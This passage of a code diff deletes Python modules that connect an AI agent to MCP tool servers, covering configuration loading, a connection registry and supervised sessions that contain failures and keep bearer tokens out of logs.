outputs.append({"type": "text", "text": item.text})
elif item.type == "image":
outputs.append(
{"type": "image", "image_url": f"data:{item.mimeType};base64,{item.data}"}
)
else:
outputs.append({"type": "text", "text": str(item.model_dump(mode="json"))})
if len(outputs) == 1:
return outputs[0]
return outputs
async def dispatch_mcp_call(
server: MCPServer,
tool_name: str,
arguments: dict[str, Any],
*,
label: str,
result_transform: ResultTransform | None = None,
) -> Any:
"""Run one MCP tool call and convert its result to a tool output.
Shared single dispatch point for the generic ``call_mcp`` tool. Calls
``server.call_tool`` with the tool's unprefixed name, then:
- with a ``result_transform`` (strix-pro's sanitizer), hands the parsed
:class:`CallToolResult` to it as ``result_transform(label, structured)`` and
returns whatever the transform returns; or
- without one, serializes the result the way the agents SDK does (see
:func:`_mcp_result_to_tool_output`) and, when the result is an MCP error,
normalizes it through :func:`_errored_tool_output` so the failure reaches
the interfaces (see that function for the representation and why it does not
corrupt the content the agent receives).
"""
result = await server.call_tool(tool_name, arguments)
if result_transform is not None:
return result_transform(label, result.model_dump(mode="json"))
tool_output = _mcp_result_to_tool_output(server, result)
if getattr(result, "isError", False):
return _errored_tool_output(tool_output)
return tool_output
def _errored_tool_output(tool_output: Any) -> dict[str, Any]:
"""Tag a serialized MCP error so the interfaces render it as failed.
Both the TUI and the run viewer decide a tool call failed by reading a
``success`` key off a top-level dict in the result (``success is False`` means
failed). :func:`_mcp_result_to_tool_output` returns a dict only for a single
content block; a structured-content result comes back as a string and a
multi-block result as a list, and on those the failure flag had nowhere to
ride, so the interfaces showed a failed call as done. This normalizes every
errored result to a top-level dict carrying ``success: False``:
- a single content block (already a dict) keeps its ``type``/``text`` and gains
``success: False`` alongside. The SDK's ToolOutput projection keeps the known
``type``/``text`` fields and drops ``success`` before the agent sees it, so
the agent still receives exactly the error content;
- a list (multiple blocks) or a string (structured content) is placed under a
stable ``content`` key so the flag has a top-level dict to ride on. The agent
still receives the full error content, under ``content``, rather than losing
it.
"""
if isinstance(tool_output, dict):
return {**tool_output, "success": False}
return {"success": False, "content": tool_output}
async def _count_session_tools(config: McpConnectionConfig, session: SupervisedMcpSession) -> int:
"""Count a connected session's reachable tools for the startup summary.
``allowed_tools`` of ``None`` counts every listed tool; a list counts only
those names. The count matches what ``describe_mcp`` will show, because the
static tool filter built in :func:`_build_server` restricts the server's own
``list_tools`` to the same allowlist. The listing goes through the session's
owning task like every other call.
"""
allowed = config.allowed_tools
mcp_tools = await session.list_tools()
return sum(1 for mcp_tool in mcp_tools if allowed is None or mcp_tool.name in allowed)
async def connect_mcp_servers(
configs: list[McpConnectionConfig],
) -> list[ConnectedMcpServer]:
"""Connect each MCP config on its own supervising task and return the sessions.
Each connection becomes a :class:`~strix.tools.mcp.session.SupervisedMcpSession`
that owns ``connect()``, the held-open session, and ``cleanup()`` on one
dedicated task, so a later background failure in one session is contained to
that task and never cancels the run. Returns one :class:`ConnectedMcpServer`
per session that connected, carrying the session (the caller closes it with
``await session.aclose()`` when the run ends and hands it to the run's
registry) plus the connection name, tool count, and notes. A connection whose
initial connect fails is skipped rather than raised (fail-open).
If this coroutine is itself cancelled mid-attach (the run going down), every
session started so far is closed on its own task before the cancellation is
re-raised, so nothing is orphaned.
Nothing is registered as an agent tool: the caller builds a per-run
:class:`~strix.tools.mcp.registry.McpRegistry` from these sessions, and the
agent reaches each tool on demand through ``describe_mcp`` / ``call_mcp``.
"""
connected: list[ConnectedMcpServer] = []
sessions: list[SupervisedMcpSession] = []
try:
for config in configs:
session = SupervisedMcpSession(config)
sessions.append(session)
if not await session.start():
# Initial connect failed; already logged inside the session. Drop it.
await session.aclose()
sessions.remove(session)
continue
try:
tool_count = await _count_session_tools(config, session)
except McpConnectionUnavailableError:
# The session died between connecting and its first listing; skip it.
logger.warning("MCP connection %r died before its first listing", config.name)
await session.aclose()
sessions.remove(session)
continue
logger.info("Connected MCP server %r (%d tools)", config.name, tool_count)
connected.append(
ConnectedMcpServer(
session=session, name=config.name, tool_count=tool_count, notes=config.notes
)
)
except BaseException:
# Cancelled or errored mid-attach: close every session started so far,
# each on its own task, then re-raise. The runner only receives the list
# on a clean return, so on an abnormal exit this function owns the cleanup.
for session in sessions:
with contextlib.suppress(BaseException):
await session.aclose()
raise
return connected
async def attach_mcp_requests(
requests: list[McpConnectionRequest],
registry: McpRegistry,
) -> list[ConnectedMcpServer]:
"""Connect a caller's MCP requests and populate the run's registry.
The one shared attach-and-populate path both the command-line and the
SaaS/pro product go through, so all connecting and cleanup lives in one owner.
The caller supplies inert :class:`McpConnectionRequest` objects (a config plus
a provider label, an optional per-connection ``result_transform``, and an
optional ``purpose``) and never a live session: the engine connects each
config here, reusing :func:`connect_mcp_servers` so the fail-open behavior (a
connection that will not connect is logged and skipped) and the cancellation
cleanup are preserved unchanged.
For each connection that came up, this registers it under its config name with
its tool count, its ``provider`` label, its ``result_transform``, and a purpose
of ``request.purpose`` when set else the connection's notes. Returns the
connected servers (the runner records them and cleans them up when the run
ends).
"""
request_by_name = {request.config.name: request for request in requests}
connections = await connect_mcp_servers([request.config for request in requests])
for connection in connections:
request = request_by_name[connection.name]
registry.add(
name=connection.name,
session=connection.session,
tool_count=connection.tool_count,
purpose=request.purpose or connection.notes,
provider=request.provider,
result_transform=request.result_transform,
)
return connections

View File

@@ -1,74 +0,0 @@
"""The connection-config contract for the MCP client.
Describes one MCP server the client can connect to: its transport, endpoint or
launch command, optional auth, and an optional tool allowlist. Field names are
stable; callers build against them.
"""
from __future__ import annotations
from typing import Annotated, Literal
from pydantic import BaseModel, ConfigDict, Field, model_validator
class BearerAuth(BaseModel):
"""Header-token auth, sent as ``Authorization: Bearer <token>``."""
model_config = ConfigDict(extra="forbid")
kind: Literal["bearer"] = "bearer"
token: str = Field(min_length=1, repr=False)
McpAuth = Annotated[BearerAuth, Field(discriminator="kind")]
class McpConnectionConfig(BaseModel):
"""One MCP server the client can connect to.
Two transports are supported: streamable ``http`` (a remote endpoint) and
``stdio`` (a local server launched as a subprocess).
"""
model_config = ConfigDict(extra="forbid")
name: str = Field(min_length=1)
"""Namespaced tool prefix, unique per run (e.g. ``github``)."""
transport: Literal["http", "stdio"] = "http"
"""``http`` for a streamable HTTP endpoint, ``stdio`` for a local subprocess."""
url: str | None = Field(default=None, min_length=1)
"""The MCP server endpoint. Required for ``http``."""
auth: McpAuth | None = None
"""Bearer token for the server. Optional; a local stdio server usually
needs none."""
command: str | None = Field(default=None, min_length=1)
"""The executable to launch for ``stdio``. Required for ``stdio``."""
args: list[str] = Field(default_factory=list)
"""Arguments passed to ``command`` (stdio only)."""
env: dict[str, str] = Field(default_factory=dict)
"""Extra environment variables for the stdio subprocess."""
allowed_tools: list[str] | None = None
"""Tool allowlist, applied after the server lists its tools. ``None`` (the
default) exposes every tool the server lists; a list restricts to it."""
notes: str | None = None
"""Free-text notes for the agent describing what this connection is and how
to use it. When set, the note becomes the connection's purpose line in the
MCP inventory every agent renders in its prompt, so it describes the
connection once rather than being repeated onto each of its tools."""
@model_validator(mode="after")
def _check_transport_fields(self) -> McpConnectionConfig:
if self.transport == "http" and not self.url:
raise ValueError("an http MCP connection requires 'url'")
if self.transport == "stdio" and not self.command:
raise ValueError("a stdio MCP connection requires 'command'")
return self

View File

@@ -1,133 +0,0 @@
"""Read the open-source user's MCP servers from ``~/.strix/mcp-servers.json``.
An open-source user lists the MCP servers they want the agent to reach in a
small JSON file. Strix reads it at the start of a run and connects to each
server, holding the live sessions in the run's registry for the agent to reach
on demand. The file is optional; without it the run simply gets no MCP
connections.
Parsing is fail-open. A single malformed entry is logged and skipped rather than
raising, so one bad row never blocks the servers that are valid, and a missing
or unreadable file yields an empty list.
"""
from __future__ import annotations
import json
import logging
import os
from pathlib import Path
from typing import cast
from pydantic import ValidationError
from strix.tools.mcp.config import McpConnectionConfig
logger = logging.getLogger(__name__)
_DEFAULT_PATH: Path = Path.home() / ".strix" / "mcp-servers.json"
_PATH_ENV_VAR = "STRIX_MCP_CONFIG"
# Per-run selection, set by the --mcp-server / --mcp-exclude CLI flags. Each is a
# comma-separated list of connection names.
_ONLY_ENV_VAR = "STRIX_MCP_ONLY"
_EXCLUDE_ENV_VAR = "STRIX_MCP_EXCLUDE"
def _resolve_path(path: Path | None) -> Path:
if path is not None:
return path
override = os.environ.get(_PATH_ENV_VAR)
if override:
return Path(override)
return _DEFAULT_PATH
def _dedupe_by_name(configs: list[McpConnectionConfig]) -> list[McpConnectionConfig]:
"""Keep the first connection of each name, dropping later duplicates.
A connection's name is its key in the run's registry, so two connections
sharing a name would collide and the second would overwrite the first. Drop
the duplicate here, with a warning, instead.
"""
seen: set[str] = set()
unique: list[McpConnectionConfig] = []
for config in configs:
if config.name in seen:
logger.warning(
"Ignoring MCP server %r: another connection already uses that name "
"(names must be unique because they namespace the server's tools).",
config.name,
)
continue
seen.add(config.name)
unique.append(config)
return unique
def _parse_names(env_var: str) -> set[str]:
return {name.strip() for name in os.environ.get(env_var, "").split(",") if name.strip()}
def _apply_run_selection(configs: list[McpConnectionConfig]) -> list[McpConnectionConfig]:
"""Restrict this run's connections to an optional include/exclude selection.
``STRIX_MCP_ONLY`` (if set) keeps only the named connections; then
``STRIX_MCP_EXCLUDE`` drops any named connection. With neither set, every
connection is kept.
"""
only = _parse_names(_ONLY_ENV_VAR)
exclude = _parse_names(_EXCLUDE_ENV_VAR)
if not only and not exclude:
return configs
available = {config.name for config in configs}
for name in sorted((only | exclude) - available):
logger.warning(
"MCP connection selection named %r, which is not configured; ignoring it", name
)
selected: list[McpConnectionConfig] = []
for config in configs:
if only and config.name not in only:
continue
if config.name in exclude:
continue
selected.append(config)
return selected
def load_user_mcp_configs(path: Path | None = None) -> list[McpConnectionConfig]:
"""Load MCP connection configs from the user's JSON file.
The path is ``path`` if given, else ``$STRIX_MCP_CONFIG``, else
``~/.strix/mcp-servers.json``. The file is a JSON list of server entries.
A missing file returns ``[]``; an unreadable or non-list file is logged and
returns ``[]``; individual entries that fail validation are logged and
skipped. Connections sharing a name are de-duplicated (first wins), and an
optional per-run include/exclude selection is applied last.
"""
source = _resolve_path(path)
if not source.exists():
return []
try:
raw = json.loads(source.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError):
logger.exception("Could not read MCP config at %s; ignoring it", source)
return []
if not isinstance(raw, list):
logger.warning("MCP config at %s is not a JSON list; ignoring it", source)
return []
entries = cast("list[object]", raw)
configs: list[McpConnectionConfig] = []
for index, entry in enumerate(entries):
try:
configs.append(McpConnectionConfig.model_validate(entry))
except ValidationError as exc:
logger.warning("Skipping invalid MCP server entry #%d in %s: %s", index, source, exc)
return _apply_run_selection(_dedupe_by_name(configs))

View File

@@ -1,29 +0,0 @@
"""How an MCP server's tools are named for the model.
Kept apart from the client, and stdlib-only, so a caller can build the
model-facing name for a connection's tool without importing the MCP client (and
through it the agents SDK and every registered tool).
"""
from __future__ import annotations
import re
# A tool name offered to a model has to be letters, digits, underscores or
# hyphens; anything else is rejected outright by the model APIs. Three things can
# put a stray character in one: the separator between the connection and the tool
# name, a name the server chose for its own tool (servers commonly namespace
# theirs), and the connection name out of the user's config file. Sanitizing the
# finished name covers all three rather than only the separator.
_INVALID_TOOL_NAME_CHARS = re.compile(r"[^a-zA-Z0-9_-]")
def namespaced_tool_name(connection: str, tool: str) -> str:
"""The name a connection's tool is offered to the model under.
Only the model-facing name is rewritten. Every call to the server uses the
tool name the server itself reported, so sanitizing here can never change
which tool is invoked.
"""
return _INVALID_TOOL_NAME_CHARS.sub("_", f"{connection}_{tool}")

View File

@@ -1,287 +0,0 @@
"""Per-run registry of the MCP connections a scan may reach.
Replaces per-tool registration. The old model turned every tool of every
connected MCP server into its own agent tool, so a run with a handful of
connections put dozens of provider tool schemas on the root agent's first LLM
request. Instead, a run holds its live connections here, keyed by the name the
user gave each connection, and every agent reaches them through three generic
dispatch tools: ``list_mcps`` to discover the available connections, ``describe_mcp``
to learn one connection's tool schemas on demand, and ``call_mcp`` to run one of
its tools.
One :class:`McpRegistry` is built per run in :mod:`strix.core.runner`, stored in
the run context under :data:`MCP_REGISTRY_CONTEXT_KEY`, and shared by the root
agent and every child (the child context is a copy of the parent's, so it
carries the same registry object).
strix-pro imports :class:`McpRegistry` to add its cloud connections into the
same registry and to attach a per-connection ``result_transform`` (its
sanitizer), which :func:`strix.tools.mcp.client.dispatch_mcp_call` applies at the
single dispatch point.
"""
from __future__ import annotations
import dataclasses
from typing import TYPE_CHECKING, Any, NamedTuple
from strix.tools.mcp.session import SupervisedMcpSession
if TYPE_CHECKING:
from agents.mcp import MCPServer
from strix.tools.mcp.client import ResultTransform
from strix.tools.mcp.config import McpConnectionConfig
# The run-context key under which the runner stores the per-run registry, and
# the two dispatch tools read it back. Kept here so the tools, the runner, and
# strix-pro all agree on one name.
MCP_REGISTRY_CONTEXT_KEY = "mcp_registry"
# The two connection-scoped dispatch tools an interface attributes to a specific
# MCP connection. ``call_mcp`` runs one tool on a connection; ``describe_mcp``
# lists a connection's tool schemas. (``list_mcps`` is deliberately not here: it
# names no single connection, so it renders as an ordinary tool call.) Kept here
# (not in the interface layer) so the engine, the OSS viewer, and strix-pro's
# tracer all recognise a connection-scoped dispatch call by the same names.
CALL_MCP_TOOL = "call_mcp"
DESCRIBE_MCP_TOOL = "describe_mcp"
MCP_DISPATCH_TOOLS = frozenset({CALL_MCP_TOOL, DESCRIBE_MCP_TOOL})
@dataclasses.dataclass(frozen=True)
class McpConnectionEntry:
"""One live MCP connection a scan may reach, keyed by ``name``.
``session`` is the :class:`~strix.tools.mcp.session.SupervisedMcpSession` that
owns the connection on its own task; the dispatch tools list tools and call
tools through it (``session.list_tools`` / ``session.dispatch``) so a session
failure is contained and can reconnect. ``purpose`` is the human label
``list_mcps`` reports as the connection's description (the user's connection
notes, or whatever the caller supplies). ``tool_count`` is how many tools the
connection offers, also reported by ``list_mcps``. ``result_transform``, when
set, runs on each call's structured result at the single dispatch point
(strix-pro's sanitizer uses it). ``provider`` is an optional source label
(e.g. ``"supabase"``) the caller tags the connection with; the command-line
path leaves it ``None``, and event tagging surfaces it when set.
The connection config the session reconnects with (and its bearer token) lives
on ``session`` in memory only. It is reached via :attr:`config` for the
reconnect path and is never logged, serialized into the event stream, or
written to disk.
"""
session: SupervisedMcpSession
name: str
purpose: str | None = None
tool_count: int = 0
result_transform: ResultTransform | None = None
provider: str | None = None
@property
def server(self) -> MCPServer | None:
"""The current live server behind the session (swapped on reconnect).
Kept so existing callers that read ``entry.server`` keep working; new code
should call through ``entry.session`` so reconnect and containment apply.
"""
return self.session.server
@property
def config(self) -> McpConnectionConfig | None:
"""The session's reconnect config. Carries the bearer token; never log it."""
return self.session.config
@dataclasses.dataclass(frozen=True)
class McpConnectionSummary:
"""One connection summary ``list_mcps`` returns: what an agent needs to decide
whether to ``describe_mcp`` a connection, with no tool schemas."""
name: str
purpose: str | None
tool_count: int
provider: str | None = None
@dataclasses.dataclass(frozen=True)
class McpConnectionStatus:
"""One connection's live status for the interfaces (the TUI panel, the app
strip, and the roster signal the app consumes).
Non-secret by construction: only the connection ``name``, its ``provider``
label, its ``tool_count``, and whether its live session is currently ``dead``
(its reconnect-retry gave up). No config, token, url, or purpose rides here.
``dead`` is read live off the connection's session at the moment this is
built, so a fresh :meth:`McpRegistry.statuses` reflects the current health.
"""
name: str
provider: str | None
tool_count: int
dead: bool
@dataclasses.dataclass(frozen=True)
class McpConnectionRequest:
"""A source-agnostic request to attach one MCP connection to a run.
The caller hands the engine an inert ``config`` (how to reach the server, its
name, and any auth token) plus metadata, and never a live session: the engine
owns connecting and cleaning up. ``provider`` is an optional source label
(e.g. ``"supabase"``; empty for the command-line path). ``result_transform``
is an optional per-connection transform run on each call's structured result
at the single dispatch point (strix-pro's sanitizer; empty for the
command-line path). ``purpose`` is the human label ``list_mcps`` reports as the
connection's description; when unset it falls back to ``config.notes``.
"""
config: McpConnectionConfig
provider: str | None = None
result_transform: ResultTransform | None = None
purpose: str | None = None
class McpCallInfo(NamedTuple):
"""What one MCP dispatch call resolved to: the connection name, the
underlying tool (empty for ``describe_mcp``), and the connection's provider
label (``None`` when unknown or untagged)."""
connection: str
tool: str
provider: str | None
class McpRegistry:
"""Connection name -> live MCP connection, built per run and shared by every
agent in the run.
Public API (strix-pro builds against it): the constructor, :meth:`add`,
:meth:`get`, and :meth:`summaries`.
"""
def __init__(self) -> None:
self._entries: dict[str, McpConnectionEntry] = {}
def add(
self,
*,
name: str,
session: SupervisedMcpSession | None = None,
server: MCPServer | None = None,
config: McpConnectionConfig | None = None,
purpose: str | None = None,
tool_count: int = 0,
result_transform: ResultTransform | None = None,
provider: str | None = None,
) -> McpConnectionEntry:
"""Register one connection under ``name`` (last write wins).
Pass ``session`` for a session the engine already supervises (the attach
path does this). Pass ``server`` for an already-connected server the caller
owns (strix-pro's cloud sessions): it is adopted into a session that runs
calls inline against it, and reconnects only when a ``config`` is also
given. Exactly one of ``session`` or ``server`` is required.
"""
if session is None:
if server is None:
raise ValueError("McpRegistry.add requires either 'session' or 'server'")
session = SupervisedMcpSession.adopt(server, name=name, config=config)
entry = McpConnectionEntry(
session=session,
name=name,
purpose=purpose,
tool_count=tool_count,
result_transform=result_transform,
provider=provider,
)
self._entries[name] = entry
return entry
def get(self, name: str) -> McpConnectionEntry | None:
"""The connection registered under ``name``, or ``None``."""
return self._entries.get(name)
def names(self) -> list[str]:
"""The registered connection names, in insertion order."""
return list(self._entries)
def summaries(self) -> list[McpConnectionSummary]:
"""One inventory summary per connection, in insertion order."""
return [
McpConnectionSummary(
name=entry.name,
purpose=entry.purpose,
tool_count=entry.tool_count,
provider=entry.provider,
)
for entry in self._entries.values()
]
def statuses(self) -> list[McpConnectionStatus]:
"""One live status per connection, in insertion order.
Reads each connection's ``dead`` flag off its session at call time, so the
interfaces (the TUI panel via the Python backend projection, and the
roster signal the app consumes) get the current health each time they
rebuild. Non-secret: name, provider, tool_count, dead only."""
return [
McpConnectionStatus(
name=entry.name,
provider=entry.provider,
tool_count=entry.tool_count,
dead=entry.session.is_dead,
)
for entry in self._entries.values()
]
def clear(self) -> None:
"""Drop every connection (the sessions themselves are closed by the
runner)."""
self._entries.clear()
def __len__(self) -> int:
return len(self._entries)
def __bool__(self) -> bool:
return bool(self._entries)
def resolve_mcp_call(
tool_name: str,
args: dict[str, Any],
registry: McpRegistry | None = None,
) -> McpCallInfo | None:
"""Resolve one tool call to the MCP connection/tool/provider it went out to.
The single resolver both the OSS viewer and strix-pro's tracer read a
dispatch call through, so a call is attributed the same way everywhere. Every
MCP call an agent makes goes through ``call_mcp`` or ``describe_mcp``, and the
connection (and, for ``call_mcp``, the server's own tool name) ride in the
call's ``args`` rather than the tool name, so they are read from there.
Returns ``None`` when ``tool_name`` is not one of the two dispatch tools, when
the call carries no connection name, or when a ``registry`` is supplied and
has no connection under that name. ``tool`` is the underlying tool for
``call_mcp`` and empty for ``describe_mcp`` (which inspects the connection
itself). ``provider`` comes from the registry entry; it is ``None`` when no
``registry`` is supplied (the viewer projects calls without one) or when the
connection carries no provider label.
"""
if tool_name not in MCP_DISPATCH_TOOLS:
return None
connection = args.get("connection")
if not isinstance(connection, str) or not connection:
return None
provider: str | None = None
if registry is not None:
entry = registry.get(connection)
if entry is None:
return None
provider = entry.provider
raw_tool = args.get("tool") if tool_name == CALL_MCP_TOOL else ""
tool = raw_tool if isinstance(raw_tool, str) else ""
return McpCallInfo(connection=connection, tool=tool, provider=provider)

View File

@@ -1,536 +0,0 @@
"""Own each MCP connection's live session on its own supervising task.
The bug this fixes: the streamable-HTTP transport (the ``mcp`` SDK) opens an
internal anyio task group when ``server.connect()`` runs, and that task group's
cancel scope is entered on whatever task called ``connect()`` and stays open for
the session's whole life. In the old code that task was the run's main task, the
one the agent loop runs on. So when a provider returned an HTTP error on one of
the transport's background tasks (for example a ``403`` on a background POST),
the task group cancelled its scope, the cancellation
propagated to the main task, and the whole scan died with a bare
``CancelledError`` (mislabeled as a user interrupt). Teardown then raised
"Attempted to exit cancel scope in a different task than it was entered in"
because cleanup ran on a different task than connect.
The fix, mirroring how child agents run on their own ``asyncio.create_task``
(see :func:`strix.core.execution.spawn_child_agent`): give each connection its
own dedicated supervising task that owns ``connect()``, the session's held-open
lifetime, and ``cleanup()``. Three consequences:
- **Containment.** The transport's cancel scope is now entered on the supervising
task, so a background failure cancels only that task. The run and every other
connection keep going.
- **Co-located teardown.** ``connect()`` and ``cleanup()`` run on the same task,
so the "exit cancel scope in a different task" error cannot happen.
- **A value, not a cancellation, reaches the caller.** The agent never touches the
live session directly. It hands a call to the supervising task over a queue and
awaits the result as a value; if the session task dies, the caller gets a
"connection unavailable" value instead of a cancellation propagating into the
agent loop.
When a call fails the supervisor rebuilds and reconnects the session once (reusing
the same config, so the same bearer token, never re-fetching credentials) and
re-runs the one failed call once. If that still fails, the connection is marked
dead: every later call returns the standard failed-tool output.
Security: the connection's :class:`~strix.tools.mcp.config.McpConnectionConfig`
holds a live bearer credential and is kept here in memory only, on the same
in-process object that already holds the live session. It is never logged,
serialized into the run's event stream, or written to disk; :meth:`__repr__`
omits it and the token field's own ``repr`` is already suppressed.
"""
from __future__ import annotations
import asyncio
import contextlib
import dataclasses
import logging
from typing import TYPE_CHECKING, Any, cast
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable
from agents.mcp import MCPServer
from mcp.types import Tool as MCPTool
from strix.tools.mcp.client import ResultTransform
from strix.tools.mcp.config import McpConnectionConfig
# One operation to run against the live session, e.g. ``list_tools`` or a tool
# call. Runs on the supervising task (supervised sessions) or inline (adopted
# sessions), and its return value becomes the caller's result.
Job = Callable[[MCPServer], Awaitable[Any]]
logger = logging.getLogger(__name__)
# How long a graceful (sentinel) shutdown waits for the serve loop to drain
# before the supervising task is cancelled instead. Bounds teardown so a slow or
# hung in-flight call cannot stall it forever.
_SHUTDOWN_TIMEOUT = 10.0
class McpConnectionUnavailableError(RuntimeError):
"""A dead MCP connection could not be reached and did not come back.
Raised by :meth:`SupervisedMcpSession.list_tools` when the connection is dead
so the read-only dispatch tools (``describe_mcp``) can report it cleanly.
:meth:`SupervisedMcpSession.dispatch` does not raise it: a call to a dead
connection returns the standard failed-tool output instead.
"""
@dataclasses.dataclass
class _Outcome:
"""What running one job resolved to: a value, or the connection being dead."""
value: Any = None
dead: bool = False
@dataclasses.dataclass
class _Request:
"""One job handed to the supervising task, with the future its result lands in."""
job: Job
future: asyncio.Future[_Outcome]
class SupervisedMcpSession:
"""One MCP connection whose live session is owned by a dedicated task.
Built two ways:
- :meth:`__init__` + :meth:`start` for a *supervised* session: the engine owns
connecting. ``start`` spawns the supervising task, which builds and connects
the server on itself and then serves calls handed to it over a queue. This is
the path that contains a background session failure to one task.
- :meth:`adopt` for an *adopted* session: the caller already holds a connected
server (strix-pro's cloud sessions, and the test fakes). There is no
supervising task; calls run inline against the given server. Reconnect works
only when a config was supplied.
Public async API used by the dispatch tools: :meth:`list_tools` and
:meth:`dispatch`. Lifecycle: :meth:`start`, :meth:`aclose`. Read-only:
:attr:`name`, :attr:`server`, :attr:`config`, :attr:`is_dead`.
"""
def __init__(self, config: McpConnectionConfig) -> None:
self._name = config.name
self._config: McpConnectionConfig | None = config
self._server: MCPServer | None = None
self._supervised = True
self._task: asyncio.Task[None] | None = None
self._queue: asyncio.Queue[_Request | None] | None = None
self._ready: asyncio.Future[bool] | None = None
self._pending: set[asyncio.Future[_Outcome]] = set()
self._dead = False
self._closing = False
self._on_dead: Callable[[], None] | None = None
# Guards the idle-death self-heal against a flapping server: set after an
# idle reconnect, cleared once a real call runs. If the session dies idle
# again before serving anything, we give up instead of reconnecting in a
# tight loop.
self._healed_without_progress = False
@classmethod
def adopt(
cls,
server: MCPServer,
*,
name: str,
config: McpConnectionConfig | None = None,
) -> SupervisedMcpSession:
"""Wrap an already-connected server without a supervising task.
Calls run inline against ``server`` on the caller's task, matching the old
direct-dispatch behavior. Reconnect is available only when ``config`` is
given; otherwise a failed call marks the connection dead.
"""
self = cls.__new__(cls)
self._name = name
self._config = config
self._server = server
self._supervised = False
self._task = None
self._queue = None
self._ready = None
self._pending = set()
self._dead = False
self._closing = False
self._on_dead = None
self._healed_without_progress = False
return self
# -- read-only accessors --------------------------------------------------
@property
def name(self) -> str:
return self._name
@property
def server(self) -> MCPServer | None:
"""The current live server, or ``None`` once dead. Swapped on reconnect."""
return self._server
@property
def config(self) -> McpConnectionConfig | None:
"""The connection config kept for reconnect. Carries the bearer token, so
never log or serialize this."""
return self._config
@property
def is_dead(self) -> bool:
return self._dead
def set_on_dead(self, callback: Callable[[], None] | None) -> None:
"""Register a one-shot callback fired when the connection transitions to dead.
The callback runs on whatever task marks the connection dead (the
supervising task for a supervised session, the caller's task for an
adopted one), so it must not block. It fires at most once, on the
healthy->dead edge, and never for a connection that only ever shut down
cleanly. The interfaces use it to push a live "offline" status without
polling. Exceptions from the callback are swallowed (logged) so a status
push can never take down the session task.
"""
self._on_dead = callback
def _mark_dead(self) -> None:
"""Flip the connection to dead and fire ``on_dead`` once on the transition."""
if self._dead:
return
self._dead = True
callback = self._on_dead
if callback is None:
return
try:
callback()
except Exception:
logger.exception("MCP on_dead callback for %r failed", self._name)
def __repr__(self) -> str:
# Deliberately omits the config so the bearer token can never reach a log
# line through an accidental repr of this object.
return f"SupervisedMcpSession(name={self._name!r}, dead={self._dead})"
# -- lifecycle ------------------------------------------------------------
async def start(self) -> bool:
"""Spawn the supervising task, connect on it, and wait until it is ready.
Returns ``True`` when the session connected, ``False`` when the initial
connect failed (the caller then skips this connection, fail-open). Only
valid for a supervised session.
"""
loop = asyncio.get_running_loop()
self._queue = asyncio.Queue()
self._ready = loop.create_future()
self._task = asyncio.create_task(self._supervise(), name=f"mcp-session-{self._name}")
return await self._ready
async def aclose(self) -> None:
"""Shut the connection down and clean up its session on its owning task.
For a connected supervised session this signals the supervising task with a
sentinel so ``cleanup()`` runs on the same task that ran ``connect()``,
giving an orderly shutdown the supervisor tells apart from a session death.
Teardown is always bounded: if the serve loop cannot drain the sentinel in
time (a slow or hung in-flight call), or the session never finished
connecting (including a connect cancelled mid-await), the task is cancelled
instead. ``_closing`` is set first, so the supervisor treats that
cancellation as shutdown and still cleans up on its own task.
"""
self._closing = True
if self._supervised and self._task is not None:
if not self._task.done():
# A cancelled readiness future (the connect was cancelled mid-await)
# counts as "not connected": never call ``.result()`` on it, which
# would raise here and skip the cleanup below.
connected = (
self._ready is not None
and self._ready.done()
and not self._ready.cancelled()
and self._ready.result()
)
if connected and self._queue is not None:
# Reached the serve loop: a sentinel gives a clean, cancel-free
# teardown, with cleanup() running on the supervising task. Bound
# it, though: a hung in-flight call would otherwise leave the
# sentinel queued behind it forever, so cancel the task if the
# drain does not finish in time (wait_for cancels it on timeout).
with contextlib.suppress(Exception):
await self._queue.put(None)
with contextlib.suppress(
asyncio.TimeoutError, asyncio.CancelledError, Exception
):
await asyncio.wait_for(self._task, _SHUTDOWN_TIMEOUT)
else:
# Still stuck in connect(), never connected, or connect
# cancelled: cancel to unstick it.
self._task.cancel()
with contextlib.suppress(asyncio.CancelledError, Exception):
await self._task
else:
await self._safe_cleanup()
self._fail_pending()
# -- caller-facing operations --------------------------------------------
async def list_tools(self) -> list[MCPTool]:
"""List the connection's tools, reconnecting once if the session died.
Raises :class:`McpConnectionUnavailableError` when the connection is dead.
"""
outcome = await self._run_job(lambda server: server.list_tools())
if outcome.dead:
raise McpConnectionUnavailableError(self._unavailable_message())
return cast("list[MCPTool]", outcome.value)
async def dispatch(
self,
tool_name: str,
arguments: dict[str, Any],
*,
label: str,
result_transform: ResultTransform | None = None,
) -> Any:
"""Run one tool call, reconnecting once and retrying once on session death.
Returns the tool output on success, or the standard failed-tool output
(``success: False``) with a "connection unavailable" message when the
connection is dead.
"""
from strix.tools.mcp.client import dispatch_mcp_call
async def job(server: MCPServer) -> Any:
return await dispatch_mcp_call(
server,
tool_name,
arguments,
label=label,
result_transform=result_transform,
)
outcome = await self._run_job(job)
if outcome.dead:
from strix.tools.mcp.client import _errored_tool_output
return _errored_tool_output(self._unavailable_message())
return outcome.value
# -- job routing ----------------------------------------------------------
async def _run_job(self, job: Job) -> _Outcome:
"""Route one job to the owning task (supervised) or run it inline (adopted)."""
if self._supervised:
return await self._submit(job)
return await self._execute(job)
async def _submit(self, job: Job) -> _Outcome:
"""Hand a job to the supervising task and await its result as a value."""
if self._dead or self._closing or self._task is None or self._task.done():
return _Outcome(dead=True)
loop = asyncio.get_running_loop()
future: asyncio.Future[_Outcome] = loop.create_future()
self._pending.add(future)
if self._queue is None:
self._pending.discard(future)
return _Outcome(dead=True)
await self._queue.put(_Request(job=job, future=future))
# The task may have ended between the guard above and the put; ``_fail_pending``
# would then never see this future, so resolve it here.
if self._task.done() and not future.done():
self._pending.discard(future)
return _Outcome(dead=True)
return await future
# -- the supervising task -------------------------------------------------
async def _supervise(self) -> None:
"""Own the session for its whole life on one task: connect, serve, clean up."""
try:
self._server = await self._open()
except asyncio.CancelledError:
# The connect was cancelled (the run is going down, or the transport
# scope cancelled mid-connect). Report not-ready so the attach path
# treats it as a skipped connection; do not propagate.
self._report_ready(value=False)
await self._safe_cleanup()
self._fail_pending()
return
except Exception:
logger.exception("Skipping MCP connection %r", self._name)
self._report_ready(value=False)
await self._safe_cleanup()
self._fail_pending()
return
self._report_ready(value=True)
try:
await self._serve_loop()
finally:
await self._safe_cleanup()
self._fail_pending()
async def _serve_loop(self) -> None:
assert self._queue is not None
while True:
try:
request = await self._queue.get()
except asyncio.CancelledError:
# A cancellation while idle is the transport's task group cancelling
# this supervising task because a background session task failed.
# Contained here. If we are closing, this is an ordinary shutdown,
# so let it propagate. Otherwise try to self-heal once: reconnect a
